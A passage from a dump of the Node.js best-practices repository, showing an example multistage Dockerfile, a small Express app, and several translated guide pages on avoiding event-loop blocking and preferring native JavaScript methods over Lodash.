    "content": "# This is a multistage Dockerfile.\n# In the first stage we install system build dependencies, copy project files and build them\n# In the second stage, we start fresh and only copy necessary files. We also purge node_modules devDependencies.\n\n#### Build stage ####\nFROM node:14.8.0-alpine AS build\n\n# Install system build dependencies (if needed) at the top ✅ See bullet point #8.8 about caching\nRUN apk add --update --no-cache bash make gcc g++ lcms2-dev libpng-dev autoconf automake\n\n# Only copy node dependency information and install all dependencies first\nCOPY --chown=node:node package.json package-lock.json ./\n\n# Install packages using the lockfiles as source of truth ✅ See bullet point #8.5 about npm ci\nRUN npm ci\n\n# Copy source code (and all other relevant files)\nCOPY --chown=node:node src ./src\n\n# Build code\nRUN npm run build\n\n#### Run-time stage ####\n# ✅ See bullet point #8.10 about smaller docker base images\nFROM node:14.8.0-alpine as app\n\n# Set non-root user and expose port 3000\nUSER node\nEXPOSE 3000\n\nWORKDIR /home/node/app\n\n# Copy dependency information and build output from previous stage\nCOPY --chown=node:node --from=build package.json package-lock.json ./\nCOPY --chown=node:node --from=build node_modules ./node_modules\nCOPY --chown=node:node --from=build dist ./dist\n\n# Clean dev dependencies ✅ See bullet point #8.5\nRUN npm prune --production && npm cache clean --force\n\n# ✅ See bullet point #8.2 about avoiding npm start\nCMD [ \"node\", \"dist/app.js\" ]\n"
  },
  {
    "path": "sections/examples/dockerfile/package.json",
    "content": "{\n  \"name\": \"node-app-with-docker\",\n  \"version\": \"1.0.0\",\n  \"description\": \"An example node app that uses docker to be built\",\n  \"main\": \"src/app.ts\",\n  \"scripts\": {\n    \"start\": \"node dist/app.js\",\n    \"build\": \"tsc --outDir dist -m commonjs -t ES2020 src/app.ts\",\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/goldbergyoni/nodebestpractices.git\"\n  },\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"bugs\": {\n    \"url\": \"https://github.com/goldbergyoni/nodebestpractices/issues\"\n  },\n  \"homepage\": \"https://github.com/goldbergyoni/nodebestpractices#readme\",\n  \"dependencies\": {\n    \"express\": \"^4.17.1\"\n  },\n  \"devDependencies\": {\n    \"@types/express\": \"^4.17.7\",\n    \"typescript\": \"^3.9.7\"\n  }\n}\n"
  },
  {
    "path": "sections/examples/dockerfile/src/app.ts",
    "content": "import * as express from 'express';\nconst app = express();\n\napp.get('/', (req, res) => {\n    res.send('Hello World!')\n})\n\napp.listen(3000, () => {\n    console.log('Navigate to http://localhost:3000');\n});\n"
  },
  {
    "path": "sections/performance/block-loop.basque.md",
    "content": "# Ez blokeatu gertaeren begizta\n\n<br/><br/>\n\nNodek gertaeren begizta nagusiki hari bakarraren barruan kudeatzen du, hainbat ilaren artean txandakatuz. Prozesu horretan, bada eragile bat baino gehiago gertaeren begizta geldiaraz dezakeena, hala nola konplexutasun handiko ekintzak, json fitxategi handien sintaxi analisiak, logikaren erabilera sorta oso handietan, seguruak ez diren adierazpen erregularren kontsultak eta sarrera/irteera operazio garrantzitsuak. Ekidin ataza intentsibo horiek PUZetik zerbitzu dedikatu batera pasatzea (adibidez, ataza zerbitzaria) edo ataza luzeak urrats txikietan banatzea eta gero Worker Pool erabiltzea. Horiexek dira gertaeren begizta blokeatzea ekiditeko bideetako batzuk.\n\n### Adibidea: gertaeren begizta blokeatzea\n\nIkusi [Node Clinic](https://clinicjs.org/documentation/doctor/05-fixing-event-loop-problem)-en adibide bat\n\n```javascript\nfunction lokartu(ms) {\n  const etorkizuna = Date.now() + ms;\n  while (Date.now() < etorkizuna);\n}\n\nserver.get(\"/\", (req, res, next) => {\n  lokartu(30);\n  res.send({});\n  next();\n});\n```\n\nAplikazio honen probak egitean, 'while' komandoak sortutako latentzia ikusiko dugu\n\n### Egikaritu proben segida\n\n`clinic doctor --on-port 'autocannon localhost:$PORT' -- node slow-event-loop`\n\n### Emaitzak\n\n```\n┌────────────┬────────┬────────┬────────┬────────┬────────────────┬──────────┬───────────┐\n│ Statistika │ 2.5%   │ 50%    │ 97.5%  │ 99%    │ Baztazbestekoa │ Stdev    │ Max       │\n├────────────┼────────┼────────┼────────┼────────┼────────────────┼──────────┼───────────┤\n│ Latentzia  │ 270 ms │ 300 ms │ 328 ms │ 331 ms │    300.56 ms   │ 38.55 ms │ 577.05 ms │\n└────────────┴────────┴────────┴────────┴────────┴────────────────┴──────────┴───────────┘\n┌────────────┬────────┬────────┬────────┬────────┬────────────────┬──────────┬───────────┐\n│ Statistika │ 1%     │ 2.5%   │ 50%    │ 97.5%  │ Baztazbestekoa │ Stdev    │ Min       │\n├────────────┼────────┼────────┼────────┼────────┼────────────────┼──────────┼───────────┤\n│ Req/Sec    │ 31     │ 31     │ 33     │ 34     │    32.71       │ 1.01     │ 31        │\n├────────────┼────────┼────────┼────────┼────────┼────────────────┼──────────┼───────────┤\n```\n\n## Gertaeren begiztaren irudia\n\n![Gertaeren begiztaren irudia](../../assets/images/event-loop.png \"Gertaeren begiztaren irudia\")\n\n> Hemen duzu oinarrizko arau bat zure Node zerbitzaria azkarra izaten jarraitzeko: Node azkarra da une jakin batean bezero bakoitzarekin lotutako lana \"txikia\" denean.\n> [Ez blokeatu gertaeren begizta (edota atazen begizta) | Node.js](https://nodejs.org/en/docs/guides/dont-block-the-event-loop/)\n\n> Gehiengo batek huts egiten du beren lehenengo NodeJS aplikazioak egiterako orduan, gertaeren begizta, erroreen kudeaketa eta asinkronoaren inguruko kontzeptuak ez ulertzeagatik.\n> [Gertaeren begiztaren jarraibide egokiak — NodeJS gertaeren begizta, 5.partea](https://jsblog.insiderattack.net/event-loop-best-practices-nodejs-event-loop-part-5-e29b2b50bfe2)\n"
  },
  {
    "path": "sections/performance/block-loop.french.md",
    "content": "# Don't block the event loop\n\n<br/><br/>\n\nNode handles the Event Loop mostly on a single thread rotating through multiple queues. Operations with high complexity, large json parsing, applying logic over huge arrays, unsafe regex queries, and large IO operations are some of the operations that can cause the Event Loop to stall. Avoid this off-loading CPU intensive tasks to a dedicated service (e.g. job server), or breaking long tasks into small steps then using the Worker Pool are some examples of how to avoid blocking the Event Loop.\n\n### Example: blocking the event loop\nLet's take a look at an example from [Node Clinic](https://clinicjs.org/documentation/doctor/05-fixing-event-loop-problem).\n```javascript\nfunction sleep (ms) {\n  const future = Date.now() + ms\n  while (Date.now() < future);\n}\n\nserver.get('/', (req, res, next) => {\n  sleep(30)\n  res.send({})\n  next()\n})\n```\n\nAnd when we benchmark this app, we start to see the latency caused by the long\nwhile loop.\n\n### Run the benchmark \n`clinic doctor --on-port 'autocannon localhost:$PORT' -- node slow-event-loop`\n\n### The results\n\n```\n┌─────────┬────────┬────────┬────────┬────────┬───────────┬──────────┬───────────┐\n│ Stat    │ 2.5%   │ 50%    │ 97.5%  │ 99%    │ Avg       │ Stdev    │ Max       │\n├─────────┼────────┼────────┼────────┼────────┼───────────┼──────────┼───────────┤\n│ Latency │ 270 ms │ 300 ms │ 328 ms │ 331 ms │ 300.56 ms │ 38.55 ms │ 577.05 ms │\n└─────────┴────────┴────────┴────────┴────────┴───────────┴──────────┴───────────┘\n┌───────────┬─────────┬─────────┬─────────┬────────┬─────────┬───────┬─────────┐\n│ Stat      │ 1%      │ 2.5%    │ 50%     │ 97.5%  │ Avg     │ Stdev │ Min     │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n│ Req/Sec   │ 31      │ 31      │ 33      │ 34     │ 32.71   │ 1.01  │ 31      │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n```\n\n## Image of the Event Loop\n![Event Loop](../../assets/images/event-loop.png \"Event Loop\")\n\n\n### \"Here's a good rule of thumb for keeping your Node server speedy: _Node is fast when the work associated with each client at any given time is 'small'_.\"\nFrom Node.js Documentation - [Don't Block the Event Loop (or the Worker Pool)](https://nodejs.org/en/docs/guides/dont-block-the-event-loop/)\n\n> The secret to the scalability of Node.js is that it uses a small number of threads to handle many clients.\n> If Node.js can make do with fewer threads, then it can spend more of your system's time and memory working on clients rather than on paying space and time overheads for threads (memory, context-switching).\n> But because Node.js has only a few threads, you must structure your application to use them wisely.\n>\n> Here's a good rule of thumb for keeping your Node.js server speedy: Node.js is fast when the work associated with each client at any given time is \"small\".\n> This applies to callbacks on the Event Loop and tasks on the Worker Pool.\n\n### \"Most people fail their first few NodeJS apps merely due to the lack of understanding of the concepts such as the Event Loop, Error handling and asynchrony\"\nFrom Deepal's Blog - [Event Loop Best Practices — NodeJS Event Loop Part 5](https://blog.insiderattack.net/event-loop-best-practices-nodejs-event-loop-part-5-e29b2b50bfe2)\n"
  },
  {
    "path": "sections/performance/block-loop.japanese.md",
    "content": "# イベントループをブロックしない\n\n<br/><br/>\n\nNode はほとんどの場合、複数のキューをローテーションする単一のスレッド上でイベントループを処理します。複雑度の高い操作、大きな json の解析、巨大な配列へのロジックの適用、安全ではない正規表現クエリ、そして大きな IO 操作は、イベントループを停止させる原因となる操作です。これを避けるために、CPU集約的なタスクを専用サービス（ジョブサーバーなど）にオフロードしたり、長いタスクを小さなステップに分けてワーカープールを使用したりすることは、イベントループをブロックしないようにする方法のいくつかの例です。\n\n### 例: イベントループをブロックする\n[Node Clinic](https://clinicjs.org/documentation/doctor/05-fixing-event-loop-problem) の例を見てみましょう。\n```javascript\nfunction sleep (ms) {\n  const future = Date.now() + ms\n  while (Date.now() < future);\n}\n\nserver.get('/', (req, res, next) => {\n  sleep(30)\n  res.send({})\n  next()\n})\n```\n\nそして、このアプリをベンチマークしてみると、長時間の while ループによるレイテンシを確認することができます。\n\n### ベンチマークの実行 \n`clinic doctor --on-port 'autocannon localhost:$PORT' -- node slow-event-loop`\n\n### 結果\n\n```\n─────────┬────────┬────────┬────────┬────────┬───────────┬──────────┬───────────┐\n│ Stat    │ 2.5%   │ 50%    │ 97.5%  │ 99%    │ Avg       │ Stdev    │ Max       │\n├─────────┼────────┼────────┼────────┼────────┼───────────┼──────────┼───────────┤\n│ Latency │ 270 ms │ 300 ms │ 328 ms │ 331 ms │ 300.56 ms │ 38.55 ms │ 577.05 ms │\n└─────────┴────────┴────────┴────────┴────────┴───────────┴──────────┴───────────┘\n┌───────────┬─────────┬─────────┬─────────┬────────┬─────────┬───────┬─────────┐\n│ Stat      │ 1%      │ 2.5%    │ 50%     │ 97.5%  │ Avg     │ Stdev │ Min     │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n│ Req/Sec   │ 31      │ 31      │ 33      │ 34     │ 32.71   │ 1.01  │ 31      │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n```\n\n## イベントループのイメージ図\n![イベントループ](../../assets/images/event-loop.png \"イベントループ\")\n\n>ここに、Node サーバを高速に保つための良い経験則があります: Node は、与えられた時間にそれぞれのクライアントに関連する作業が 「小さい」 場合に高速です。\n>[イベントループ（またはワーカープール）をブロックしない | Node.js](https://nodejs.org/en/docs/guides/dont-block-the-event-loop/)\n\n> イベントループ、エラー処理、非同期などの概念を理解していないことが原因で、ほとんどの人が最初の数回の NodeJS アプリで失敗します。\n[イベントループのベストプラクティス - NodeJS イベントループ Part 5](https://jsblog.insiderattack.net/event-loop-best-practices-nodejs-event-loop-part-5-e29b2b50bfe2)\n"
  },
  {
    "path": "sections/performance/block-loop.md",
    "content": "# Don't block the event loop\n\n<br/><br/>\n\nNode handles the Event Loop mostly on a single thread rotating through multiple queues. Operations with high complexity, large json parsing, applying logic over huge arrays, unsafe regex queries, and large IO operations are some of the operations that can cause the Event Loop to stall. Avoid this off-loading CPU intensive tasks to a dedicated service (e.g. job server), or breaking long tasks into small steps then using the Worker Pool are some examples of how to avoid blocking the Event Loop.\n\n### Example: blocking the event loop\nLet's take a look at an example from [Node Clinic](https://clinicjs.org/documentation/doctor/05-fixing-event-loop-problem).\n```javascript\nfunction sleep (ms) {\n  const future = Date.now() + ms\n  while (Date.now() < future);\n}\n\nserver.get('/', (req, res, next) => {\n  sleep(30)\n  res.send({})\n  next()\n})\n```\n\nAnd when we benchmark this app, we start to see the latency caused by the long\nwhile loop.\n\n### Run the benchmark \n`clinic doctor --on-port 'autocannon localhost:$PORT' -- node slow-event-loop`\n\n### The results\n\n```\n┌─────────┬────────┬────────┬────────┬────────┬───────────┬──────────┬───────────┐\n│ Stat    │ 2.5%   │ 50%    │ 97.5%  │ 99%    │ Avg       │ Stdev    │ Max       │\n├─────────┼────────┼────────┼────────┼────────┼───────────┼──────────┼───────────┤\n│ Latency │ 270 ms │ 300 ms │ 328 ms │ 331 ms │ 300.56 ms │ 38.55 ms │ 577.05 ms │\n└─────────┴────────┴────────┴────────┴────────┴───────────┴──────────┴───────────┘\n┌───────────┬─────────┬─────────┬─────────┬────────┬─────────┬───────┬─────────┐\n│ Stat      │ 1%      │ 2.5%    │ 50%     │ 97.5%  │ Avg     │ Stdev │ Min     │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n│ Req/Sec   │ 31      │ 31      │ 33      │ 34     │ 32.71   │ 1.01  │ 31      │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n```\n\n## Image of the Event Loop\n![Event Loop](../../assets/images/event-loop.png \"Event Loop\")\n\n\n### \"Here's a good rule of thumb for keeping your Node server speedy: _Node is fast when the work associated with each client at any given time is 'small'_.\"\nFrom Node.js Documentation - [Don't Block the Event Loop (or the Worker Pool)](https://nodejs.org/en/docs/guides/dont-block-the-event-loop/)\n\n> The secret to the scalability of Node.js is that it uses a small number of threads to handle many clients.\n> If Node.js can make do with fewer threads, then it can spend more of your system's time and memory working on clients rather than on paying space and time overheads for threads (memory, context-switching).\n> But because Node.js has only a few threads, you must structure your application to use them wisely.\n> \n> Here's a good rule of thumb for keeping your Node.js server speedy: Node.js is fast when the work associated with each client at any given time is \"small\".\n> This applies to callbacks on the Event Loop and tasks on the Worker Pool.\n\n### \"Most people fail their first few NodeJS apps merely due to the lack of understanding of the concepts such as the Event Loop, Error handling and asynchrony\"\nFrom Deepal's Blog - [Event Loop Best Practices — NodeJS Event Loop Part 5](https://blog.insiderattack.net/event-loop-best-practices-nodejs-event-loop-part-5-e29b2b50bfe2)\n\n"
  },
  {
    "path": "sections/performance/block-loop.polish.md",
    "content": "# Nie blokuj pętli zdarzeń\n\n<br/><br/>\n\nNode obsługuje pętlę zdarzeń głównie w jednym wątku obracającym się przez wiele kolejek. Operacje o wysokim stopniu złożoności, dużym parsowaniu jsonów, stosowaniu logiki na wielkich tablicach, niebezpiecznych zapytaniach regularnych i dużych operacjach We / Wy to niektóre z operacji, które mogą powodować zawieszanie się pętli zdarzeń. Unikaj odciążania zadań intensywnie wykorzystujących procesor do dedykowanej usługi (np. serwera zadań) lub dzielenia długich zadań na małe kroki, a następnie używanie puli pracowników to kilka przykładów tego, jak uniknąć blokowania pętli zdarzeń.\n\n### Przykład: blokowanie pętli zdarzeń\nSpójrzmy na przykład z [Node Clinic](https://clinicjs.org/documentation/doctor/05-fixing-event-loop-problem).\n```javascript\nfunction sleep (ms) {\n  const future = Date.now() + ms\n  while (Date.now() < future);\n}\n\nserver.get('/', (req, res, next) => {\n  sleep(30)\n  res.send({})\n  next()\n})\n```\n\nKiedy porównujemy tę aplikację, zaczynamy dostrzegać opóźnienia spowodowane długą\npętlą while.\n\n### Uruchom benchmark\n`clinic doctor --on-port 'autocannon localhost:$PORT' -- node slow-event-loop`\n\n### Wyniki\n\n```\n─────────┬────────┬────────┬────────┬────────┬───────────┬──────────┬───────────┐\n│ Stat    │ 2.5%   │ 50%    │ 97.5%  │ 99%    │ Avg       │ Stdev    │ Max       │\n├─────────┼────────┼────────┼────────┼────────┼───────────┼──────────┼───────────┤\n│ Latency │ 270 ms │ 300 ms │ 328 ms │ 331 ms │ 300.56 ms │ 38.55 ms │ 577.05 ms │\n└─────────┴────────┴────────┴────────┴────────┴───────────┴──────────┴───────────┘\n┌───────────┬─────────┬─────────┬─────────┬────────┬─────────┬───────┬─────────┐\n│ Stat      │ 1%      │ 2.5%    │ 50%     │ 97.5%  │ Avg     │ Stdev │ Min     │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n│ Req/Sec   │ 31      │ 31      │ 33      │ 34     │ 32.71   │ 1.01  │ 31      │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n```\n\n## Obraz pętli zdarzeń\n![Event Loop](../../assets/images/event-loop.png \"Event Loop\")\n\n>Here's a good rule of thumb for keeping your Node server speedy: Node is fast when the work associated with each client at any given time is \"small\".\n>[Don't Block the Event Loop (or the Worker Pool) | Node.js](https://nodejs.org/en/docs/guides/dont-block-the-event-loop/)\n\n> Most people fail their first few NodeJS apps merely due to the lack of understanding of the concepts such as the Event Loop, Error handling and asynchrony \n[Event Loop Best Practices — NodeJS Event Loop Part 5](https://jsblog.insiderattack.net/event-loop-best-practices-nodejs-event-loop-part-5-e29b2b50bfe2)\n"
  },
  {
    "path": "sections/performance/block-loop.russian.md",
    "content": "# Не блокируйте цикл событий\n\n<br/><br/>\n\nNode обрабатывает цикл событий в основном в одном потоке, вращающемся через несколько очередей. Операции с высокой сложностью, большой анализ json, применение логики к огромным массивам, небезопасные запросы регулярных выражений и большие операции ввода-вывода - вот некоторые из операций, которые могут привести к остановке цикла обработки событий. Передавайте такие нагрузки ресурсоемких задач в выделенную службу (например, сервер заданий) или разбивайте длинные задачи на маленькие шаги, а затем используйте рабочий пул - вот некоторые примеры того, как избежать блокировки цикла обработки событий.\n\n### Example: blocking the event loop\nДавайте посмотрим на пример из [Node Clinic](https://clinicjs.org/documentation/doctor/05-fixing-event-loop-problem).\n```javascript\nfunction sleep (ms) {\n  const future = Date.now() + ms\n  while (Date.now() < future);\n}\n\nserver.get('/', (req, res, next) => {\n  sleep(30)\n  res.send({})\n  next()\n})\n```\n\nИ когда мы тестируем это приложение, мы начинаем видеть задержку, вызванную длительным\nwhile loop.\n\n### Запуск теста тест\n`clinic doctor --on-port 'autocannon localhost:$PORT' -- node slow-event-loop`\n\n### Результаты\n\n```\n─────────┬────────┬────────┬────────┬────────┬───────────┬──────────┬───────────┐\n│ Stat    │ 2.5%   │ 50%    │ 97.5%  │ 99%    │ Avg       │ Stdev    │ Max       │\n├─────────┼────────┼────────┼────────┼────────┼───────────┼──────────┼───────────┤\n│ Latency │ 270 ms │ 300 ms │ 328 ms │ 331 ms │ 300.56 ms │ 38.55 ms │ 577.05 ms │\n└─────────┴────────┴────────┴────────┴────────┴───────────┴──────────┴───────────┘\n┌───────────┬─────────┬─────────┬─────────┬────────┬─────────┬───────┬─────────┐\n│ Stat      │ 1%      │ 2.5%    │ 50%     │ 97.5%  │ Avg     │ Stdev │ Min     │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n│ Req/Sec   │ 31      │ 31      │ 33      │ 34     │ 32.71   │ 1.01  │ 31      │\n├───────────┼─────────┼─────────┼─────────┼────────┼─────────┼───────┼─────────┤\n```\n\n## Изображение цикла событий\n![Event Loop](../../assets/images/event-loop.png \"Event Loop\")\n\nВот хорошее эмпирическое правило для поддержания скорости вашего Node-сервера: Node работает быстро, когда работа, связанная с каждым клиентом в любой момент времени, \"мала\".\n>[Don't Block the Event Loop (or the Worker Pool) | Node.js](https://nodejs.org/en/docs/guides/dont-block-the-event-loop/)\n\n> Большинство людей терпят неудачу в своих первых нескольких приложениях NodeJS просто из-за отсутствия понимания таких понятий, как цикл обработки событий, обработка ошибок и асинхронность\n[Event Loop Best Practices — NodeJS Event Loop Part 5](https://jsblog.insiderattack.net/event-loop-best-practices-nodejs-event-loop-part-5-e29b2b50bfe2)\n"
  },
  {
    "path": "sections/performance/nativeoverutil.basque.md",
    "content": "# Hobetsi jatorrizko JS metodoak Lodash bezalako erabiltzaileen baliabideak baino\n\n<br/><br/>\n\n### Azalpena\n\nBatzuetan, hobe da  jatorrizko metodoak erabiltzea _lodash_ edo _underscore_ bezalako liburutegiak erabili beharra izatea baino, liburutegi horiek errendimendu galera bat ekar baitezakete eta beharrezko baino memoria gehiago erabili. Jatorrizko funtzioak erabiltzeak [%50 inguruko erabateko irabazia](https://github.com/Berkmann18/NativeVsUtils/blob/master/analysis.xlsx) lor dezake, adibidez, funtzio hauek: `Array.concat`, `Array.fill`, `Array.filter`, `Array.map`, `(Array|String).indexOf`, `Object.find`, …\n\n\n<!-- konparaketa hemen: https://gist.github.com/Berkmann18/3a99f308d58535ab0719ac8fc3c3b8bb-->\n\n<br/><br/>\n\n### Abididea: konparaketa probak - Lodash versus V8 (jatorrizkoa)\n\nBeheko grafikoak [Lodashen metodo ugariren proben erreferentzien](https://github.com/Berkmann18/NativeVsUtils/blob/master/nativeVsLodash.ods) batez bestekoa erakusten du. Horrek erakusten du Lodash metodoek batez beste %146,23 denbora gehiago behar dutela V8 metodoen ataza berdinak burutzeko.\n\n![esanahia](../../assets/images/sampleMeanDiag.png)\n\n### Kode adibidea: `_.concat`/`Array.concat`en proba\n\n```javascript\nconst _ = require(\"lodash\");\nconst __ = require(\"underscore\");\nconst Suite = require(\"benchmark\").Suite;\nconst opts = require(\"./utils\"); //cf. https://github.com/Berkmann18/NativeVsUtils/blob/master/utils.js\n\nconst concatSuite = new Suite(\"concat\", opts);\nconst array = [0, 1, 2];\n\nconcatSuite\n  .add(\"lodash\", () => _.concat(array, 3, 4, 5))\n  .add(\"underscore\", () => __.concat(array, 3, 4, 5))\n  .add(\"native\", () => array.concat(3, 4, 5))\n  .run({ async: true });\n```\n\nNon hau bueltatzen duen:\n\n![output](../../assets/images/concat-benchmark.png)\n\n[Hemen](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.txt) duzu proba erreferentzia puntuen zerrenda luzeago bat edo, bestela, [egikaritu hau](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.js), hori bera erakutsiko dizu, baina koloretan.\n\n### Blog aipua: \"(baliteke) Ez duzu Lodash/Underscoreren beharrik (ez izatea)\"\n\n[Lodash eta Underscoren  inguruko gaiei buruzko txostena](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore).\n\n> JavaScripten baliabideen liburutegi moderno bikainak dira Lodash eta Underscore, eta Front-end garatzaileen artean oso erabiliak. Hala ere, nabigatzaile modernoak jomugatzat dituzunean, pentsa dezakezu ECMAScript5ek [ES5] eta ECMAScript2015ek [ES6] badituztela jatorriz funtzio horietako asko. Zure proiektuak menpekotasun gutxiago edukitzea nahi baduzu, eta argi badaukazu zein nabilgatzaile duzun helburutzat, baliteke behar ez izatea Lodash/Underscore.\n\n### Adibidea: jatorrizkoak ez diren metodoak erabiltzeko linting-a\n\nBadago [ESLint plugin](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore) bat behar ez dituzun liburutegiak atzeman eta aholkuak ematen dizkizuna (behean duzu adibidea).<br/> Plugin hori erabili nahi baduzu, gehitu `eslint-plugin-you-dont-need-lodash-underscore` plugina zure ESLint ezarpen fitxategiari:\n\n```json\n{\n  \"extends\": [\"plugin:you-dont-need-lodash-underscore/compatible\"]\n}\n```\n\n### Adibidea: linter bat erabiliz, atzeman beharrezko ez diren v8 funtzionalitateen erabilera\n\nEman begirada bat azpiko fitxategiari:\n\n```js\nconst _ = require(\"lodash\");\n// ESLintek azpiko lerroa markatuko du iradokizun batekin\nconsole.log(_.map([0, 1, 2, 4, 8, 16], (x) => `d${x}`));\n```\n\nHementxe dago ESLintek bistaratuko lukeena YDNLU plugina erabiliz.\n![irteera](../../assets/images/ydnlu.png)\n\nNoski, adibide horrek ez du errealista ematen egungo kodeek dutena kontutan hartuta, baina bai balio du ulertzeko.\n"
  },
  {
    "path": "sections/performance/nativeoverutil.brazilian-portuguese.md",
    "content": "# Prefira métodos nativos ao invés de utilitários do usuário como Lodash\n\n\n<br/><br/>\n\n### Explicação em um Parágrafo\n\nÀs vezes, usar métodos nativos é melhor do que requerir `lodash` ou `underscore`, porque isso não levará a um aumento de desempenho e usará mais espaço do que o necessário.\nO desempenho usando métodos nativos resulta em um [ganho geral de 50%](https://github.com/Berkmann18/NativeVsUtils/blob/master/analysis.xlsx) que inclui os seguintes métodos: `Array.concat`, `Array.fill`, `Array.filter`, `Array.map`, `(Array|String).indexOf`, `Object.find`, ...\n\n\n<!-- compare aqui: https://gist.github.com/Berkmann18/3a99f308d58535ab0719ac8fc3c3b8bb-->\n\n<br/><br/>\n\n### Exemplo: comparação de benchmark - Lodash vs V8 (Nativo)\nO gráfico abaixo mostra a [média dos benchmarks para uma variedade de métodos do Lodash](https://github.com/Berkmann18/NativeVsUtils/blob/master/nativeVsLodash.ods), Isso mostra que os métodos Lodash levam em média 146,23% mais tempo para completar as mesmas tarefas que os métodos V8.\n\n![meanDiag](../../assets/images/sampleMeanDiag.png)\n\n### Exemplo de código – teste de Benchmark com `_.concat`/`Array.concat`\n```javascript\nconst _ = require('lodash'),\n  __ = require('underscore'),\n  Suite = require('benchmark').Suite,\n  opts = require('./utils'); //cf. https://github.com/Berkmann18/NativeVsUtils/blob/master/utils.js\n\nconst concatSuite = new Suite('concat', opts);\nconst array = [0, 1, 2];\n\nconcatSuite.add('lodash', () => _.concat(array, 3, 4, 5))\n  .add('underscore', () => __.concat(array, 3, 4, 5))\n  .add('native', () => array.concat(3, 4, 5))\n  .run({ 'async': true });\n```\n\nQue retornará isso:\n\n![output](../../assets/images/concat-benchmark.png)\n\nVocê pode encontrar uma lista maior de benchmarks [aqui](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.txt) ou alternativamente [executar isso](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.js) que mostraria o mesmo porém com cores.\n\n### Citação de Blog: \"Você (talvez) não precisa de Lodash/Underscore\"\n\nDo [repositório sobre esse assunto que foca em Lodash e Underscore](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore).\n\n > O Lodash e o Underscore são ótimas bibliotecas de utilitários JavaScript moderno e são amplamente utilizados por desenvolvedores front-end. No entanto, quando você está focando nos navegadores modernos, você pode descobrir que existem muitos métodos que já são suportados nativamente graças ao ECMAScript5 [ES5] e ao ECMAScript2015 [ES6]. Se você quer que seu projeto exija menos dependências, e você conhece claramente o seu navegador de destino, talvez você não precise do Lodash/Underscore.\n\n### Exemplo: Linting para uso de métodos não nativos\nExiste um [plugin de ESLint](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore) que detecta onde você está usando bibliotecas, mas não precisa, alertando com sugestões (veja o exemplo abaixo).<br/>\nA maneira de configurá-lo é adicionando o plugin `eslint-plugin-you-dont-need-lodash-underscore` no seu arquivo de configuração do ESLint:\n```json\n{\n  \"extends\": [\n    \"plugin:you-dont-need-lodash-underscore/compatible\"\n  ]\n}\n```\n\n### Exemplo: detectando uso de utilidades não nativas do v8 usando um linter\nConsidere o arquivo abaixo:\n```js\nconst _ = require('lodash');\n// O ESLint sinalizará a linha acima com uma sugestão\nconsole.log(_.map([0, 1, 2, 4, 8, 16], x => `d${x}`));\n```\nAqui está o que o ESLint produziria ao usar o plugin YDNLU.\n![output](../../assets/images/ydnlu.png)\n\nNaturalmente, o exemplo acima não parece realista, considerando o que bases de código reais teriam, mas você entendeu a idéia.\n"
  },
  {
    "path": "sections/performance/nativeoverutil.french.md",
    "content": "# Prefer native JS methods over user-land utils like Lodash\n\n\n<br/><br/>\n\n### One Paragraph Explainer\n\nSometimes, using native methods is better than requiring _lodash_ or _underscore_ because those libraries can lead to performance loss or take up more space than needed.\nThe performance using native methods result in an [overall ~50% gain](https://github.com/Berkmann18/NativeVsUtils/blob/master/analysis.xlsx) which includes the following methods: `Array.concat`, `Array.fill`, `Array.filter`, `Array.map`, `(Array|String).indexOf`, `Object.find`, ...\n\n\n<!-- comp here: https://gist.github.com/Berkmann18/3a99f308d58535ab0719ac8fc3c3b8bb-->\n\n<br/><br/>\n\n### Example: benchmark comparison - Lodash vs V8 (Native)\nThe graph below shows the [mean of the benchmarks for a variety of Lodash methods](https://github.com/Berkmann18/NativeVsUtils/blob/master/nativeVsLodash.ods), this shows that Lodash methods take on average 146.23% more time to complete the same tasks as V8 methods.\n\n![meanDiag](../../assets/images/sampleMeanDiag.png)\n\n### Code Example – Benchmark test on `_.concat`/`Array.concat`\n```javascript\nconst _ = require('lodash');\nconst __ = require('underscore');\nconst Suite = require('benchmark').Suite;\nconst opts = require('./utils'); //cf. https://github.com/Berkmann18/NativeVsUtils/blob/master/utils.js\n\nconst concatSuite = new Suite('concat', opts);\nconst array = [0, 1, 2];\n\nconcatSuite.add('lodash', () => _.concat(array, 3, 4, 5))\n  .add('underscore', () => __.concat(array, 3, 4, 5))\n  .add('native', () => array.concat(3, 4, 5))\n  .run({ 'async': true });\n```\n\nWhich returns this:\n\n![output](../../assets/images/concat-benchmark.png)\n\nYou can find a bigger list of benchmarks [here](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.txt) or alternatively [run this](https://github.com/Berkmann18/NativeVsUtils/blob/master/index.js) which would show the same but with colours.\n\n### Blog Quote: \"You don't (may not) need Lodash/Underscore\"\n\nFrom the [repo on this matter which focuses on Lodash and Underscore](https://github.com/you-dont-need/You-Dont-Need-Lodash-Underscore).\n\n > Lodash and Underscore are great modern JavaScript utility libraries, and they are widely used by Front-end developers. However, when you are targeting modern browsers, you may find out that there are many methods which are already supported natively thanks to ECMAScript5 [ES5] and ECMAScript2015 [ES6]. If you want your project to require fewer dependencies, and you know your target browser clearly, then you may not need Lodash/Underscore.\n\n### Example: Linting for non-native methods usage\nThere's an [ESLint plugin](https://www.npmjs.com/package/eslint-plugin-you-dont-need-lodash-underscore) which detects where you're using libraries but don't need to by warning you with suggestions (cf. example below).<br/>\nThe way you set it up is by adding the 